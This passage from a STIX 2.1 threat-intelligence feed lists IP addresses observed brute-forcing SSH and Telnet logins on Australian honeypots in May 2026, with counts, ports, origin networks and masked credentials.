      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--c5bb5466-27d6-47f7-866d-60439f05094f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '145.239.8.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n. Passwords observed (masked): ***.",
      "id": "indicator--ce766139-cf94-4cc6-95cb-c041b6a4091f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.110.116.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--ecb2a225-2d40-4b89-a9f0-ab4e20fc2c83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.157.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 60144. Organisation(s): 3W Infra B.V..",
      "id": "indicator--704431da-20ac-4f49-8cc4-3fe94f3763b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.111.235.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d955236b-a124-4e37-ab75-b9ea314670e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.154.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 139808. Organisation(s): Sony Cyber Net.",
      "id": "indicator--d6a6f07a-200c-4c39-90ca-67b34312b19c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.37.216.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 26277. Organisation(s): ServerPoint.com.",
      "id": "indicator--7b0ef310-c4f7-4b64-9c48-0bb3f38b759e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.108.236.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28458. Organisation(s): IENTC S DE RL DE CV.",
      "id": "indicator--f57e5ec9-4cb9-40f8-b32e-a8ec0b89a532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.49.138.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--c5ee6b1a-ade0-48f8-b97c-fab725093f32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.37.114.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--df505c75-7e9c-43e6-b648-1f3ae12bcb0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.59.179.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:15:10.000Z",
      "valid_until": "2026-06-04T13:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 133800. Organisation(s): PT Biznet Gio Nusantara.",
      "id": "indicator--b73484f1-28d8-4681-91a5-3d015cc1c6f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.196.152.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53850. Organisation(s): GorillaServers, Inc..",
      "id": "indicator--180b5104-6d89-4f90-b26b-01e6861538e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.181.228.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--721fe8ad-8dbf-48d1-a1ec-6a9a14e61e34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.2.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--e5171c9d-6cfd-4e2b-ba34-5c11f46a7224",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.123.239.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7689ceda-1b0b-4ef3-a74b-c69754ee3299",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.245.13.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263025. Organisation(s): ISPTEC Sistemas de Comunicacao Eireli.",
      "id": "indicator--0c8f6586-834d-4dfe-9705-09edef0f5406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.10.203.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 203919. Organisation(s): Lumadock Ltd.",
      "id": "indicator--0f4bead2-c224-4ed2-a70b-6439abbfb269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.200.244.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 560. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--93a8bb0a-1fc6-42c6-913c-209890147bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.231.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55286. Organisation(s): B2 Net Solutions Inc..",
      "id": "indicator--cdece0e4-2bd6-4ca3-8064-e6bc262f0f83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.127.178.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 314. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--52d8ab7e-7954-470e-869d-71fdf8e7ec6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.119.151.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3d94307f-11a8-42a4-9676-6c5d6fac0ca8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.26.110.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--e2dad5d7-6449-49c4-9967-529bd2d1373a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.227.50.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc. Usernames observed (masked): u****u, r**t, a***n, ***, 3**********4. Passwords observed (masked): 1****6, ***, !******r, *, 1***5.",
      "id": "indicator--50743f0a-6bea-4a8e-a05f-e3bee9142b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.84.211.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): a***n, u****u, a***********r, o****e, 3**********4. Passwords observed (masked): 1*****7, r**t, *, 3***********4, 3**********4.",
      "id": "indicator--51f616ec-bd18-42e8-beb2-a82385acb711",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.127.61.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:15:10.000Z",
      "valid_until": "2026-06-04T14:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 58762. Organisation(s): Candor infosolution Pvt Ltd.",
      "id": "indicator--0a33f923-99f0-4434-ba39-0e25e92d77c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.225.59.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--99468d6e-591c-4a5a-9e2b-8842099c4854",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.2.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--c0d82a4f-144e-4d5d-8898-ee0d38c443cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.22.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): r**t, 3**********4, m*******t. Passwords observed (masked): 1********, 3**********4, P******d, Q******3, a******3.",
      "id": "indicator--0205f6c9-bde7-4070-8ace-08c594c076b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.33.242.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--0949f0d9-36ad-49f2-a64f-18cd489f2316",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.84.47.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 204170. Organisation(s): Awaser Oman LLC.",
      "id": "indicator--ad615a86-470d-4412-9133-ad9559545adb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.58.178.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 262287. Organisation(s): Latitude.sh LTDA.",
      "id": "indicator--5c965322-26d2-4a30-a2c5-9ac938829281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.233.184.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--2cc8423f-94b2-475b-8ec9-28cf9d297772",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.205.145.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--6ed1fdf0-239e-438c-af16-1825dcae3243",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.22.159.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t, ***, t*******k. Passwords observed (masked): 2******5, 3***********4, A********4, T******3, a****#.",
      "id": "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): r******1.",
      "id": "indicator--bb1a9eb2-e22d-48b7-bf6e-189d0802a3c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.78.121.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:15:10.000Z",
      "valid_until": "2026-06-04T15:15:08.000Z"
    },
    {
      "created": "2026-05-03T15:15:10.000Z",
